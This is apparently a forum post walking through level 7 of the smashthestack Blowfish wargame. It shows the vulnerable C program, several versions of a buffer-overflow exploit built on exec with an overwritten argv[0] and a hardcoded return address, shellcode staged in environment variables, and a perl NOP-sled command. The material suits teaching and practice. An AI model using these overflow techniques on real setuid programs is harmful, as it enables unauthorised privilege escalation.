It looks like you're new here. If you want to get involved, click one of these buttons!
_ __ ___ __
/\ \ /\_ \ /'___\ __ /\ \
\ \ \____\//\ \ ___ __ __ __/\ \__//\_\ ____\ \ \___
\ \ '__`\ \ \ \ / __`\/\ \/\ \/\ \ \ __\/\ \ /' __\\ \ _ `\
\ \ \_\ \ \_\ \_/\ \_\_\ \ \_/ \_/ \ \ \_/\ \ \/\__ `\\ \ \ \ \
\ \____/ /\____\ \____/\ \___x___/'\ \_\ \ \_\/\____/ \ \_\ \_\
\/___/ \/____/\/___/ \/__//__/ \/_/ \/_/\/___/ \/_/\/_/
wargame ++ smashthestack.org ++ now in version 2.0
1. Thou shalt NOT root or otherwise harm the box.
2. Thou shalt NOT access any other network from this box.
3. Thou shalt NOT use any other directory besides /tmp or /code for code.
4. Thou shalt give the root pass to l3thal if you manage to change it.
Passwords are in /pass.
There is a README in each users home directory.
/tmp && /var/tmp will be flushed daily by cron.
Use /code plz for umm, code ;D
IF YOU LEAVE FILES IN /levels/tmp U SUCK ..plz remove them kthnx! ;D
The password for the last level will get you into
Tux, the more advanced wargame. Join #blowfish on
irc.smashthestack.org with any questions.
Admins - l3thal && cr
Forum: http://smashthestack.org/viewforum.php?id=10
Last login: Sat Sep 10 06:50:17 2011 from 78-22-111-167.access.telenet.be
There is another overflow in /levels/level7
Exploit it and get the level8 pass.
level7@blowfish:~$
/levels/level7
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[]) {
int i;
char buffer[32];
//char *key1 = \"/\";
char *p1, *p2, *p3, *p4, *p5;
char key2[2], key3[2], key4[2], key5[2];
// if(argc != 2)
// return -1;
for(i = 1; i < argc; i++) {
memset(argv[i], 0, strlen(argv[i]));
}
sprintf(key2, \"%c\", 0x90); // nop
sprintf(key3, \"%c\", 0xeb); // jmp
sprintf(key4, \"%c\", 0xcd); // int
sprintf(key5, \"%c\", 0xff); // still easy
//p1 = strstr(argv[0], key1);
p2 = strstr(argv[0], key2);
p3 = strstr(argv[0], key3);
p4 = strstr(argv[0], key4);
p5 = strstr(argv[0], key5);
if (p2 != NULL || p3 != NULL || p4 != NULL || p5 != NULL) {
printf(\"Access denied.\n\");
return -1;
}
else {
printf(\"Access granted.\n\");
}
strcpy(buffer, argv[0]);
return 0;
}
level7@blowfish:/tmp/<yourdir>$ nano exploit.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
int main(int argc, char *argv[]) {
char *newargv[] = {0, NULL};
char *newenv[] = {NULL};
newargv[0] = \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\";
***(argv[1], newargv, newenv);
perror(\"***\");
exit(EXIT_FAILURE);
}
./exploit /levels/level7
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
int main(int argc, char *argv[]) {
char *newargv[] = {0, NULL};
char *newenv[] = {0, NULL};
newargv[0] =
\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x5d\x58\xfe\xbf\";
newenv[0] = \"<shellcode>\";
***(argv[1], newargv, newenv);
perror(\"***\");
exit(EXIT_FAILURE);
}
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
int main(int argc, char *argv[]) {
char *newargv[] = {0, NULL};
char *newenv[] = {0, 0, 0, 0, 0, NULL};
newargv[0] =
\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x5d\x58\xfe\xbf\";
newenv[0]=(char *)getenv(\"VULN0\");
newenv[1]=(char *)getenv(\"VULN1\");
newenv[2]=(char *)getenv(\"VULN2\");
newenv[3]=(char *)getenv(\"VULN3\");
newenv[4]=(char *)getenv(\"VULN4\");
***(argv[1], newargv, newenv);
perror(\"***\");
exit(EXIT_FAILURE);
}
level7@blowfish:~$ export VULN<i> = `perl -e 'print \"\x90\"x10000'`